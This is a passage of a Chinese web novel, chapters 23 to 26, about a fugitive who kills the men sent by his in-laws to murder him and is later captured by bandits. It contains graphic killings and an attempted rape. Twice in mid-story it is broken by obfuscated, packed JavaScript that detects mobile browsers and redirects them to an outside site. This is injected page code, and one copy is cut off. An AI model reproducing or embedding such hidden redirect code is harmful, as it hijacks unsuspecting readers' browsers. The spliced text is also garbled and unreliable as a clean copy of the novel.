夺妻之恨,开棺之辱,张靖遥恨红了眼,恨不得将闻鹤来活剐了。二人毫无体面地在街上厮打,困兽似的,闻鹤来被掐得喘不过气,他嗤笑道:“杀了我啊!” “得不到想要的人,也守不住自己的妻子,”闻鹤来屈膝撞向张靖遥,拳头也已及张靖遥脸颊,他吐出两个字,“废物!” “你知不知道许明意多好哄,我不过几句话,陪他玩一玩,他就心甘情愿地跟我好了,”闻鹤来冷笑道,“你若是对他好一点儿,稍微好上那么一点儿,他会背叛你吗?” 张靖遥腹部吃了一记重顶,踉跄了几下,二人都没留情,拳脚是实打实的,落到身上自是疼的,可再疼,犹不及话刺向心口之万一。 闻鹤来反剪了张靖遥的右臂,将他扣在地上,道:“明意到底在哪儿?” 张靖遥冷笑一声,说:“明意既然跟你好,你为什么又不带他走?说到底你也不过是哄骗戏耍他,拿他做个消遣,现在又何必故作深情!” 闻鹤来心中一痛,沉沉地盯着张靖遥,半晌,道:“明意离开四九城了是不是?” 张靖遥不吭声。 闻鹤来说:“我找过了,找不到明意,你爹娘不会那么好心放过明意,更不要说让他留在四九城。” “你放走了他?” 闻鹤来自说自话,张靖遥抿紧嘴唇,不吭声。 闻鹤来看着他的神情,心底隐隐有猜测,他松开了张靖遥,嘲道:“你不会以为明意离开四九城就能安生了吧?” “莫说外头世道乱,他一个人能不能保全自己尚且两说,”闻鹤来说,“你爹娘真的会放过明意吗?” 张靖遥神情僵住,直勾勾地盯着闻鹤来,闻鹤来却不想再与他纠缠,心中愈发着急起来,转身就大步离去。 张靖遥想,他爹娘真的会放过明意吗? 他想起他爹娘得知他私自放明意离开,他爹是恼怒的,痛斥了张靖遥一番,可京中并未传出流言,他爹娘便也作罢了。他娘对他说:“靖遥,爹娘都是为了你好。” “罢了罢了,事已至此,就只当是她死了吧。” 张靖遥抬起眼睛,看着他母亲,说:“……你们真的不追究了?” 他娘叹了口气,道:“想追究又能如何,还能将你再打一顿吗?爹娘就你这么一个儿子。那许九娘已经跑了,外头这么大,要找也不是易事。” “算了。” 算了……他爹娘真的会算了吗?张靖遥脸色大变,再顾不得其他,拔腿就折身朝家中跑去。 24. 第 24 章 许明意在逃命。 他离了流民队伍,想起那二人当晚是骑马而来,直接跑入了一座山中。深山崎岖难行,他二人如果是追捕他的人,要入山中,只能弃马。 事实证明,许明意的感觉是对的。 刀疤脸两兄弟都是冲着他的,二人骑马,脚程快,很快就追上了那批流民。流民原本不想招惹这二人,纷纷摇头,都道不知他们说的是谁,三角眼自腰上抽出一把短匕,在掌心拍了拍,居高临下地看着他们,末了,缀在后头的一个面黄肌瘦的少年小声道出许明意在半路上就走了。 刀疤脸又打听了一番,客客气气地道了谢,调转马头就循着那少年说的,追了上去。 山路难行,一条山涧劈开了山峦,载了细细的银泉蜿蜒而下。许明意趴在山涧旁,掌心合拢,舀着清冽的山泉水送入口中,泉水清冽,润过因快速奔跑而火烧火燎的肺腑,水又太凉,刀子似的,呛得许明意咳嗽了好几声。他喘了好几口气,又喝了好几口,才就着水狠狠地搓了把脸。 许明意顾不得其他,一屁股坐在山涧旁,一边伸手去脱自己的鞋子。下过雨,地上泥泞难行,他脚上那双布鞋已经尽都是泥巴,沉甸甸的。脱了鞋,露出一双白生生的脚,他做过少爷,也做过少奶奶,自小到大都没有走过这么远的路。这些日子,许明意脚上磨出了水泡,水泡又烂,脚底也慢慢生出了茧子。他看着布满伤痕的脚掌,又垂下眼睛,将鞋子上的泥巴脏污都冲刷干净,拧干了,这才套了上去。 许明意不敢停下。他想翻过这座山,只有走得再远一些,才能更安全。他在山中盘桓了两日,险些迷失在山中,没想到,还是和刀疤脸撞了个正着。 那是个清晨。 许明意夜里是睡在一个山洞里的,已经有些凉意了,他点了一堆篝火,才勉强迷迷糊糊地抱着自己的胳膊睡了一宿。他走出山洞时,雾霭还未散去,山间鸟鸣声不绝,很有几分生机。许明意抬起头,还瞧见了一只鸟儿正立在枝头叽叽喳喳地叫着,他一边嚼着硬邦邦的饼子,一边和那鸟儿大眼瞪小眼。 过了一会儿,鸟儿扑棱着翅膀走了,许明意饼子也下了肚,心情也拨开云雾一般,好了几分。 山路崎岖,许明意手中拿了一根手腕粗的木棍充作拐杖,小心翼翼地走着,看见刀疤脸的那一刻,他还当是幻觉。许明意用力地睁大眼睛,山间的雾随着日头高升,慢慢地淡了,中年男人那魁梧的身躯也无所遮蔽,就这么撞入他的眼瞳。只这一个照面,许明意来不及多想,身体已经快过脑子,转身拔腿就跑了起来。 许明意跑得急,跑得快,脑子里嗡嗡的,想,果然,果然是冲着他来的! 张家的人! 许明意在山林中游荡了两日,已经摸索出了山中行走的经验,他如被猛禽追赶的小兽,奋力在山中逃亡。力搏许明意根本不是对手,只看那身腱子肉,就知道这是个练家子,许明意只能逃,逃得再快些! 他跑得快,刀疤脸亦不遑多让,他是张家老爷的心腹,跑江湖的,善于追踪,否则张老爷不会派他们两兄弟出来。也该是许明意时运不济,才下过雨,路上泥泞未干,只要有人走过就会留下足迹。可这座山到底太大,地势又复杂,他们兄弟分散搜寻,花了两日,才教他撵着了许明意。 许明意听着身后的脚步声越发逼近,心脏几乎跳到了嗓子眼,跑不了,怎么办?许明意心中猛地涌现强烈的不甘和愤怒,他只想要活下去,为什么非要斩尽杀绝! 张家! 许明意飞快地在路上逡巡,蓦的,咬了咬牙,又发力快了几分,冲上了另一条狭道。刀疤脸看着许明意奔逃的背影,心中浮现四字——困兽犹斗,他不知道张老爷为什么要杀面前的人,他也不需要知道,他是张家的家生奴才,只管听命行事。 大抵是发觉无路可逃,许明意攥着木棍停了下来,他脸颊跑得通红,眼睛也是红的,恶狠狠地瞪着刀疤脸。 刀疤脸开了口:“大少奶奶?” 虽是询问,却是陈述,尽管许明意和张老爷给他看的画像相差甚远,可眉眼不会骗人。 许明意没有说话,也没有求饶,他如此穷追不舍,摆明了就是要他命的。突然,许明意擎着木棍冲刀疤脸冲了过去,可还未近身,刀疤脸抬腿冲许明意当胸踢了出去,许明意迎击不及,顿时摔出丈远,手中木棍也脱了手。 他哇的吐出大口血,刀疤脸慢慢走近了,他低下眼,看着许明意,很是客气地说:“对不住,大少奶奶,我等也是听命行事。” “该上路了。”他说。 许明意在他合拳扑将上来时,就势一滚,避了开去。刀疤脸并不意外,功势愈发凶猛,挥腿如鞭扫向许明意,他出手凶狠,都是冲着直接要许明意命去的。 许明意避得狼狈又仓惶,不过几招,就已大汗淋漓,几近力竭。他看着刀疤脸又逼近,左手猛地一扬,却是他不知何时从地上抓的大把泥土,刀疤脸下意识地一挡,只这么一顿,就见一点寒芒迫来,他堪堪躲过,却见许明意疯了似的攥着手里的东西冲他挥来。 那物甚尖,到底是利器,刀疤脸臂上被划了一下,许明意也被一记重拳砸在肩膀,狠狠撞在树上。 当的一生,许明意手中的东西掉了出去,刀疤脸这才看清,那是一把剪刀。 许明意眼前疼得发黑,肩膀都似断了一般,急促地喘着气,看着步步朝他走来的刀疤脸。刀疤脸看了眼臂上的伤,面上没什么表情,他抬腿走近,就要送许明意归西时,却见那狼狈不堪的少年猛地大叫一声,朝他撞了过来。刀疤脸也不由得在心中嘲许明意自寻死路时,却被许明意撞得后退了几步,到底是个男人,全力一撞,饶是刀疤脸也没站住。 就是这几步,刀疤脸脚下倏然踏空,原来他们一侧教灌木掩盖的,竟是一道陡坡。 许明意这么一撞,二人都滚了下去。 灌木茂密,山林间石头凹凹凸凸,刀疤脸饶是此时,仍想取许明意性命,许明意被他掐得面色发紫,不知从哪儿抓了块石头就砸在刀疤脸脸上——攥在许明意脖子上的手松了几分。这山坡远比许明意想得要陡,二人纠缠着滚了下去,碾平了一路灌木丛,也叫几株树撞得七晕八素。 等许明意再反应过来时,二人已经在一条狭窄的山沟之中。兴许是上天怜悯,山沟狭窄,刀疤脸健硕的身躯垫在了底下,许明意以此作为缓冲,伤得比刀疤脸轻些。许明意只觉自己浑身都疼得厉害,脸颊也让灌木碎石划破撞伤,他在搏命,要是在上头,他无论如何也没有生机。 不如舍命一搏,如此,就算不成,也能拉个垫背。 天不绝他! 许明意肩膀胸膛都在发疼,他盯着刀疤脸,一只手在一旁摸索,他攥住了一块比拳头大的石头。突然,他瞧见那刀疤脸眼睫毛动了一下,他脑子里紧绷的那根神经也似被拨了一下,手中的石头已经照着脑袋狠狠砸了下去。 砰——是石头砸在血肉上的声音,伴随着一声惨叫,血溅了许明意一脸。他恍若未觉,一下一下地举着石头狠狠砸下去,骨骼石头相碰撞,有碎肉黏在了指上,底下的身体由挣扎转为颤动,继而彻底成为一滩死肉。 不知过了多久,许明意手已经发酸了,他才低下头,看着身下这具躯体——面目模糊,半张脸都被砸得稀巴烂。 许明意哆嗦了一下,手脚并用地爬出了山沟,他身体冰冷,齿关也在打颤,突然,他的目光落在自己血淋淋的手上,彻底失控,趴在地上哇哇的吐了出来。 许明意几乎将苦水都呕出来,身体还在发抖——他杀人了,他杀人了! 怎么办?怎么办?不知不觉间眼泪一下子涌了出来,许明意怕极了,烈日当空,他却觉不出一丝暖意,如置身于冰天雪地之中。 他真的杀人了! 许明意读过书,三纲五常,圣贤律法,都在教导他做君子。便是后来要做张家大少奶奶,那也该是温顺谦和,独独没有“杀人”一道。他成了杀人犯了——可他若是不杀这人,就要死在他手中……心中一记小小的声音在他心底浮现,是他们要杀他的! 脸上的泪水渐渐干了,许明意看着自己的双手,忽然发了疯一般摘下杂草中的叶子搓着那双细瘦的手,叶子碾出了绿汁,混着血迹,越发显得脏污不堪。 许明意看了许久,再忍不住,失声痛哭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887528|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 天将黄昏时,许明意才爬出了山沟,他看见了那把被打落的剪子,沉默须臾,塞回了怀中。许明意失魂落魄地走在山林中,一时间,有些茫茫然。 突然,他停下了脚步,远处,是一个清瘦的男人,面容普通,那双三角眼却露出恶意。他直勾勾地盯着许明意,许明意也看着他,这个人他见过,在山神庙中,是那个刀疤脸的同伙。 绝望铺天盖地般在许明意心中漫了开来。 胡三上下打量着许明意,目光落在许明意身上的血迹时,微微眯起了眼睛,道:“宗义呢?” 许明意不知道他口中的宗义是谁,约莫是那个刀疤脸,他面上没什么表情地看着面前的这个男人,说:“脸上有道刀疤的?” 许明意说:“死了。” 胡三看着他面无表情地吐出“死了”二字,脸上浮现惊异的神色,实在无法想象,宗义会死在这么一个人手里。 胡三朝许明意走近,微微笑了一下,说:“大少奶奶好本事,还真是我们小瞧了你。” 许明意不为所动,看着胡三。他脸上血迹未干,头发也散乱,实在很狼狈,可那双浅色的眼睛就这么望过来,如平静澄碧的湖面,寂静无波,偏又挠得人分外心痒。行走江湖的人脑袋别在腰上,说不得哪天就死了,故而宗义的死并没有让胡三悲伤愤怒,只是愈发惊奇,实在无法想,刀疤脸怎么会死在许明意手中。他禁不住端详许明意,想好好看看这个刚刚杀了人的“大少奶奶”,可这一瞧,愈发觉得许明意这副神色招人。 胡三此人最是好色。 他目光露骨,直白地落在许明意身上,由惊异好奇,变得下流贪婪,这样的神情,许明意在山神庙中就在这个男人面上窥过一回。 许明意的手指神经质地抽搐了一下,仿佛又浮现了几分攥着石头砸在血肉上的触感。 许明意抬起眼睛,瞧着他,微微扬起下颌,淡淡道:“你也想试试吗?”他脖颈生得修长,颌线流畅,狼狈里透出的那点秀色然而让人更想赏个分明。 胡三咧了咧嘴,话锋陡转,道:“大少奶奶,您这到底是男人还是女人?” “您要是个男人,张家怎能会娶您过门,”胡三说,“可要是个女人——” 不像,许明意如今的模样,实在不像个女人。 许明意垂下眼睛,道:“你不是来杀我的吗?还管我是男人还是女人?” 胡三笑道:“不急,小的一定会送大少奶奶上路的,”上路二字极其暧昧,他已经走近了,伸手摸上许明意的脸颊。许明意抬手打落他的手,冷冷道:“你是什么东西?也配动我?” “要杀就动手!” 许明意冷冽的姿态反而勾得胡三愈发心痒,他嘿然一笑,出手却快,攥着许明意的肩膀扣近了。胡三抓得正是许明意受伤的肩膀,当即疼得闷哼了一声,眼睛都红了,身子也微微发抖。胡三兴奋地舔了舔嘴唇,笑道:“张家大少奶奶……我可还没玩过少奶奶,不知道少奶奶玩起来,是不是不一样?” 许明意抖得愈发厉害,色厉内荏道:“你敢碰我,张家知道了,不会放过你!” 胡三摸着许明意的脖颈,嘿嘿笑道:“张家要的是您的命,他们不会管您怎么死的,大少奶奶,您乖乖的,让我痛快了,我也给您一个痛快,留您全尸,怎么样?” 他亲上来时,许明意尖叫一声,用力一推胡三,转身想跑。胡三却越发来劲儿,他似猫逗鼠一般,看着许明意仓惶逃窜,最终被他追上压在地上时,眼里都是仓惶的泪水,嘴唇也在发抖,可怜得要命。胡三撩起许明意的衣服,就去扒他裤子,狠笑道:“跑不了吧,”他嘴里不干不净地骂着,手也去撕衣襟,白皙的皮肉一下子暴露出来,偏许明意还在奋力挣扎,叫得很是凄惨。胡三色欲熏心,更是兴奋不已,脑子里还在想,宗义这是常年打雁反被雁啄了眼,怎么能死在许明意手上—— 下一瞬,胡三浑身僵住,一把剪子贯穿了他的喉咙,他不可置信地低下头,对上的是一双冷静得让人毛骨悚然的眼睛。 许明意抽出剪子,血水喷溅间,又狠狠扎了进去。 “他就是这么死的。” 25. 第 25 章 长平官道。 一支商队在官道上缓慢地行走,说是商队也不像,这百来人里,有行商旅人,有镖师,高高扬起的镖局大旗在风中猎猎翻滚。远远的,后头还缀了十来个衣衫褴褛的流民,跟着这行人。在这乱世里,这并不少见,路上匪盗横行,有镖局相护,自是更为安全。可不是谁都能请得起镖师的,镖局走一趟也不容易,便将同行的都凑一块,既能壮胆也能挣钱。至于流民,流民跟着他们为的也是图个人多,匪盗不会抢劫他们,都已经是流民了,没什么油水,匪盗瞧不上。他们怕的是路上的流民。时下年景不好,各地天灾战乱不止,洋人欺压中国人,中国人欺负中国人,一团乱象。 日头渐高,这行人也停在路边略作休整。镖局的镖头叫杨振,他和镖局的兄弟坐在一处就着水囊随意用了两张饼,便和几人起身去巡视了一圈,刚走了几步,就被人叫住了。叫住他的是商队中的一个行商,姓钱,杨振停住脚步,客客气气地叫了声,“钱爷。” 钱员外坐在树下,几个下人正拿陶罐子熬肉汤,他手里吃的也是喷香的肉饼,热过了,咬开来油汪汪的。他扬下巴示意杨振去看那缩在尾巴的流民,说:“杨镖头,咱们请你护镖,可是给了钱的。” “那些人也给了钱?” 杨振顺着看了过去,开口道:“钱爷,不过就是几个顺路的苦哈哈,他们乐意跟着便跟着吧,也碍不着咱们的事。” 钱员外皮笑肉不笑,说:“没这样的道理啊,这队里的人都交钱了,怎么他们一个子儿都不用,还能跟咱们一道?” “你们虎威镖局什么时候成开善堂的了?” 杨振眉心皱了皱,说:“钱爷,出门在外,谁没个难处——” “嗤,”钱员外道,“这世道谁没难处啊,我没难处?我要没难处请你们做什么?” “杨镖头,我这回出门前算了一卦,老神仙说我这一路上沾不得穷酸气,否则要倒大霉的。” 一旁有个穿翠绿色衣裙的姑娘听不过去了,说:“人家在后头跟着,也没往您跟前凑,您何必跟几个流民过不去?” 钱员外一听还有人插嘴,那双眼睛扫过去,见是个年轻俊俏的姑娘,登时就笑了,目光往人脸上转了圈,道:“没辙啊,咱不能让他们挡了爷的气运。” 姑娘气笑了,说:“如你这般为富不仁,上天岂会眷顾你?” “怎么说话呢?”钱员外不高兴了,“小姑娘家家的,男人说话有你插嘴的份?你要不乐意,替他们将镖钱交上啊。” 姑娘正想说话,她身旁两鬓斑驳的老人叫了句“小姐”,摇了摇头,姑娘咬咬嘴唇,只得作罢。 钱员外冷笑道:“不做好人了?” “合着不过是口头善人,”钱员外对杨振说,“杨镖头,咱眼里就见不得那些脏兮兮的难民,他们要蹭这趟镖,成,我们交多少钱,他们也交多少钱。” “一视同仁。” 杨振面色不虞,想起这钱员外的难缠性子,半晌,还是转身大步朝队伍尾巴后走了过去。 不知杨振和那伙流民说了什么,再出发时,翠绿色衣裙的姑娘下意识地探出窗外回头看了眼,就见那些人大都伸着头望着他们,只有一道瘦削单薄的身影跟在他们身后。隔得远,姑娘瞧不起对方的脸,只觉这人孑然一身,清瘦如一杆翠竹。 钱员外大着声音道:“怎么还有一个跟着?” 杨振道:“他给了钱。” 钱员外哑然,嘴里嘀咕了几句,到底是不再说话了。 翠绿色衣裙姑娘对身旁的老者道:“这钱员外果真如镇上人所言,讨厌得很。” 老者无可奈何地一笑,说:“小姐,咱们现在是在外头,一切要小心。” 姑娘叹了口气,应下声,老者又道:“等到了遂阳,见着未来姑爷就都好了。” 翠绿色衣裙的姑娘听见“未来姑爷”那几字,恍了一下神,轻声道:“于伯,真的会好吗?” 于伯道:“会的,宋家和咱们家是世交,你与宋少爷也是打小订下的婚事。若非三年前老爷离世……”他顿了顿,说,“这也是老爷的遗愿,他就盼着你们成亲呢。” 翠绿色衣裙姑娘脸上有些茫然,道:“他若是当真有意和我成亲,为什么孝期已经过去半年了,才来说成亲,自己还不亲自来接我?” 于伯温和道:“宋少爷忙于生意,也是不得已,咱们去是一样的,左右等你们成了亲,也是要留在遂阳的。” 姑娘张了张嘴,不再说什么。 队伍自晌午走到天黑,日头全落下去时,杨振安排队伍在一处林子里安顿下来,姑且歇息一晚。马车颠簸,蒋瑛枯坐了半日,早已坐得腰酸背痛,当即下了马车稍稍舒展一下筋骨。 队伍里除了钱家的商队,有如蒋瑛一般去投亲的,还有几个小商人,三三两两地就地坐着。地上点起了篝火,蒋瑛目光转了圈,就瞧见了今日跟上来的那个流民。 他独自坐着,靠着树,大半身体都藏在了暗处。 蒋瑛犹豫了一下,自包袱里取出一个油纸包,包了于伯将热好的几个馒头并夹了馅儿的饼子,朝那人走了过去。 “哎,”蒋瑛说,“给你。” 蒋瑛察觉自己一走近,那人就看了过来,肩背紧绷,直直地看着她,对上那双眼睛时,蒋瑛还愣了一下。那双眼睛又冷又亮,如日光下的刀,竟让蒋瑛吓了一跳,讷讷的,手也僵在了半空。 二人僵持了片刻,空气里弥漫着越发浓郁的食物香味,他咽了下,慢慢伸手接过了那个油纸袋。 蒋瑛听见一道极低的声音,“谢谢,”意外的,很年轻。她又看向对方,他又退了回去,却没有动手里的东西,只是仍看着她,有几分戒备。 莫名的,让蒋瑛想到了家门口那几只野猫,她头一回喂的时候,总是远远地看着,抵不过饥饿,趁她将手里的吃食丢出去时,飞快地叼走又蹿远了,怕人,又警惕。 蒋瑛没有多看,转身就走了。 商队脚程慢,一连两日路上都没有路过镇子,自也只能靠吃带来的干粮。蒋瑛第二回给那流民干粮时,流民看了看她,自怀里掏出了两个大洋,递给了蒋瑛。 蒋瑛愣了一下,没想到他会给自己钱,她摆了摆手,道:“不用了,明天就到广泉镇了,你留着自己买些吃的吧。” 流民没说话,也没接她的东西,过了一会儿,蒋瑛笑了一下,透着股子爽利劲儿,她自他手中拿了一个大洋,道:“这个就够了。” 流民也没再坚持,说:“谢谢。” 他将那个大洋放回了自己怀中,这才伸手去接蒋瑛递来的馅饼,蒋瑛发觉他左臂有些僵硬,似是行动不便,问道:“你身上受伤了?” 流民看了她一眼,垂下了眼睛,蒋瑛说:“你等着。”说罢,就撩着裙摆跑了,不一会儿,就带回了于伯,她对流民道,“这是于伯,他能看些外伤。” 于伯也无奈,他低下头,看着面前的流民。二人目光对上,流民那张脸脏兮兮的,看不清本人面貌,独那双眼睛分外清冽,生得招眼。于伯蹲下身,伸手替他把了把脉,又去摸他的肩膀,不知按着何处,流民抽了口气,于伯道:“和人动手了吧。” “肩膀伤着了,好在骨头没断,”于伯说,“不过也得好好养着,左手不可再受力,否则要留下后患。车上没有带伤药,到了广泉镇,让跌打大夫给你拿上一瓶药油好好地搽一搽。” 流民沉默须臾,又道了声谢。 蒋瑛笑道:“你怎么只会说这句话?” 于伯:“小姐——” 二人离开时,流民看着他二人的背影,又低下眼,看了看手中的馅饼。这流民正是逃出生天的许明意,他那日竭尽心力杀了那二人,又翻过一座山,才寻着了官道。路上前不着村,后不着店,许明意经那一遭,对人先怀几分戒备,愈发小心谨慎。 路过一个村子时,他拿自那三角眼身上摸来的钱换下了那身染血的长衫,又买了些粗面馒头作干粮,就又上路了。可许明意不知自己要去哪儿,也不识路,只能那么走着。生死关前蹚了一脚,许明意神经紧绷,不敢有片刻松懈,直到遇见这支商队。 蒋瑛几人,是自他离开四九城以来,碰上的予以善意的人,许明意有些不适应——蒋瑛第一次走近他时,许明意已经摸到了怀里的短匕。 匕首也是那三角眼的。 看着那把匕首,许明意更是心有余悸。 之后几日,许明意都跟着这支商队。他在广泉镇买着了干粮,蒋瑛便也不再接济他。不必再打交道,许明意心里反倒放松了些。 商队的最终目的是遂阳。 遂阳位于虞城、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所幸有镖局的人拖住了大批响马,许明意将混乱的厮杀甩在身后,隐约的,还有马蹄声在追来,他额头不觉渗出了汗。蒋瑛被颠得五脏六腑都皱成了一团,可想起于伯,勉强扒着车门,对许明意说:“于伯,于伯还没来……” 许明意头也不回,冷冷道:“回去。” 蒋瑛咬了咬牙,“我不能丢下于伯!” 许明意飞快道:“杨镖头撑不了多久,你回去就是送死,那是响马,你一个姑娘,要是被抓住了,你知道会怎么样吗?” 蒋瑛眼睛红了,呜咽道:“那是于伯,他是我唯一的亲人了……” 许明意漠然道:“他以命相护,你更不能回去。” 突然,许明意听见身后远远的传来铃铛声,是响马的铃铛!他面色阴沉,挥动马鞭赶得更急,可马拉着马车如何能跑得过一身轻的马。 许明意说:“会骑马吗?” 蒋瑛擦去脸上的眼泪,说:“我爹教过我……” 许明意猛地勒住缰绳,马一下子扬起前蹄,马车也停了下来。许明意提着刀斩断马与车厢牵连的绳索,对蒋瑛说:“上马。” 蒋瑛已经爬出了车厢,闻言一怔,看着许明意,许明意已经伸手抓着她的手臂拖到了马前,道:“快!” 蒋瑛看着他冷淡的眼睛,下意识地上了马背,她对许明意道:“你也上来。” “坐好了!”许明意握着刀,以刀背狠狠敲在马臀,马当即就冲了出去。蒋瑛大惊,扭头看着许明意背对着她的修长背影,想叫什么,却猛地发觉,自己竟不知这人的名字。 马将撒蹄狂奔,一骑冲了出来,伴随着清脆的铃铛声。 马背上的响马见只有许明意一人,眉梢一挑,没有拉住马势,直接就朝他冲了过去!马是好马,四肢健壮有力,若是被踩实,只怕不死也残。 仓促躲避之下,许明意也看清了马上的响马。 很年轻,约莫二十出头的年纪,那双眼狼也似的,浓眉,鼻梁挺,透着股子匪气。他见许明意躲开了,正擎着刀凶狠地盯着他看,索性勒住缰绳喝住马,翻身下了马背。年轻响马个高腿长,手里也握了把刀,他瞧着许明意握刀的姿势,笑了,道:“刀可不是这么使的。” 话刚落,许明意已经先发制人,提刀砍了上来。 26. 第 26 章 劫掠了商队的响马满载而归,推着满满当当的货,身后捆着的肉票都蒙了眼睛,粽子似的串成了串,如牲畜一般,被驱赶着上了平顶寨。 许明意也在其中。 他眼睛上蒙了黑布,手腕被粗糙的麻绳捆着,捆得紧,根本无法挣脱。他听着身边的动静,隐约知道,他们这是被当成人质绑上山了。这是土匪的常用手段,绑了肉票来索要赎金,若是没人来赎,便会撕票,如果能交上赎金,说不定还能好好地被送下山。 许明意想,他大抵是走不了了。 所幸的是,蒋瑛逃脱了。 追来的那个年轻响马不是好相与之辈,身手极好,许明意本就不是练家子,他能杀人,靠的是出其不意和搏命。可搏命也需天时地利人和,显然,许明意在这个男人手中讨不得好处。 许明意念及那场悬殊的搏斗,浑身都在隐隐作痛,尤其是胸腔肩膀。这人招招都是直击要害的路子,轻易就让许明意再无还手之力。 他被打得趴在地上起不来身时,有几个响马也赶了上来,笑嘻嘻的管男人叫虎哥。许明意原本担心他们还去追击蒋瑛,没想到那个男人竟也不提逃走的蒋瑛,只是让人将许明意捆了。那伙响马应了,用力踢了踢许明意,嘲他还敢和他们虎哥动手,简直就是不知死活。 许明意被他们一番折腾,险些疼得昏过去。 杨振果然没从他们手中讨得好处,镖局死伤惨重,便是自己也折在了响马手中。这伙响马是惯犯,整个商队几乎没人逃脱,许明意被拽过去时,就见一地的尸体,货物连着人质都成了他们的战利品,场中的人都瑟瑟发抖,无助地哭泣。 许明意环顾一圈,最终在地上看到了于伯的尸体,趴着,背上一道血淋淋的长口子。 乱世之中,人命如草芥,许明意心中恻然。 平顶寨是一窝恶匪,盘踞于遂阳一带,劫掠过往商旅和村镇,便是官府也奈何不得,深为当地百姓所苦。平顶寨的总瓢把子姓寇,人称独山龙。 独山龙原是前清军官,后来前清覆灭,他收拢手底下的军士反了出去,后来在这平顶寨落草为寇。 许明意隐约觉得自己走了很长的一段山路,山路崎岖,复杂多变,直到听见几声木哨声,身边押送他们的响马也呼喊着到家了,才明白自己是到了匪窝。想明白的不止一个许明意,还有一道被送上来的肉票,都哭泣起来,响马们见怪不怪,嬉笑起来。 许明意垂下头,只作不知。 许明意不知,将他俘获的那个年轻响马正远远地瞧着他,一旁有个矮个儿响马循着他的视线看过去,说:“虎哥,看什么呢?” 秦河笑了一下,一巴掌拍在矮个儿响马头上,道:“看肥羊。” 响马也不恼,嘿嘿道:“别说,咱们这一票可真值,二当家看货的时候我偷偷瞧了几眼,值钱东西不少。” 秦河说:“要是不肥,咱们不是白费功夫了?”他说着,伸了个懒腰,冷不丁的扯着胳膊,倒抽了口气,矮个儿响马看向秦河,惊咦一声,“虎哥,你手咋了?” 秦河穿的是深色粗布衣裳,仔细看去,方能发觉他胳膊上洇开了一团血迹。 “没啥,不小心蹭了个口子,”秦河说着,却鬼使神差地朝许明意的方向看了眼,他是个亡命之徒,不要命的人看得多,可如许明意一般阴狠又不要命的,却还是少见。这小子不会使刀,那把刀是幌子,藏的匕首才是杀招。 秦河没留神,胳膊就教许明意划了一道。 虽然许明意没讨着好,可让这么个自己一只手都能提留起来的人伤着,秦河心里恼怒又有点惊异。他眼前似又浮现了许明意的那双眼睛,颜色浅淡如剔透的珠子,漂亮,可又透着股子冷漠、凶狠,野兽似的,谁轻易伸手都能被撕下一块血肉来。 肉票一个挨着一个拉扯着打秦河面前过,他看着离他越来越近的许明意,别人都在哭,只他一个,冷漠安静得好像进的不是匪窝。秦河有点心痒,伸手拽了把捆着肉票的麻绳,许明意瞧不见,被拽得一个踉跄险些摔倒,秦河哈哈大笑起来。 许明意站直了,循着声,面无表情的,他记得这把声音,是那个叫虎哥的响马。 许明意和一众肉票被关了起来。 三四十人都挤在一间昏暗的木屋子里,大都是男人,有七八个女人,还有两个孩子。落在土匪手中,寻常百姓自是禁受不住,怕得要命,孩子也怕,先是孩子哭,又有大人哭,有人不耐烦,骂起来,转眼整个屋子就闹成了一团。 看守他们的土匪骂骂咧咧地走了进来,照着哭得最凶的几人甩了几鞭子,肉票们顿时噤若寒蝉,不敢再哭,大人也捂上了孩子的嘴。 许明意蜷坐在靠墙的角落,他浑身都在疼,左臂膀更是抬都抬不起来。那响马下手狠,险些将他的手生生拧断,许明意想起大夫叮嘱过的,想,他会不会成为一个废人? 旋即就苦笑一声,如今活都未必活得下去了,还管什么废人不废人。 响马狂欢庆贺了一宿,酒肉的味道混杂着肆意的笑声传入小木屋中,肉票们大半日不曾吃过东西,愈发觉得饥饿难忍。小孩儿依偎在母亲怀中,小声说:“娘,我好饿。” 母亲眼睛一热,轻轻拍着小孩儿,说:“睡吧,睡着了就不饿了。” 小孩儿又道:“娘,我怕。” “别怕,他们也只是图财,”约莫是孩子的父亲,轻声说,“等咱们交了赎金,就能回家了。” “什么是赎金?” 小孩儿天真的问话拂散了这对年轻夫妻的阴霾,男人笑了笑,低声说:“就是钱,拿钱给他们,他们就会放咱们回家了。” 小孩儿似懂非懂。 岂料这只是个开始,响马晾了他们两日,这两日,莫说吃的,就是一杯水都不曾给他们送过,屋子里又脏又臭,所有肉票都面如土色。当木门被用力打开,阳光踅摸而入时,所有人都恍惚了一下,看着大步迈入的响马,脸色当即变得惨白。 这是要上正菜了。 有人被拉了出去,屋中的人看着,无不战栗发抖,生怕下一个便是自己。许明意干裂的嘴唇也微微发白,他没有地方可以送去信,也不会有人为他交赎金。 突然,门外传来惨叫声,约莫是动了刑,惨叫声接连传入耳中,骇得屋中众人无不随之哆嗦。咣当,又有响马进来了,他们这回带出去的不是一个,而是一气儿抓出去七八人。 轮到许明意时,乍走出木屋,夺目的阳光泼洒而来,晃得眼睛疼,他不由得微微侧过脸。这一侧,他便看见了被吊在一旁的五六个男人,都挨了鞭子,衣裳都被打烂了,露出流血的鞭痕,分外骇人。 许明意心头跳了跳,转过头,一眼就看到了坐在前头椅子上的男人。 这是许明意第一次见独山龙,独山龙约莫四十来岁,国字脸,生得健壮,刀口舔血的人,什么都不说坐在椅子里也让人无法忽视。他们正在拷问一个被按在地上的男人,虽然趴着,可许明意一眼就认出了,这是他们商队里的钱老板。 钱老板可怜地哭求独山龙:“各位好汉,我是真没有那么多钱,一万大洋,您就是把我卖了我也弄不出这么多钱。” 一旁有个响马又一鞭子甩下去,说:“少他娘的装蒜,这商队里大半货都是你的,当老子不知道?” 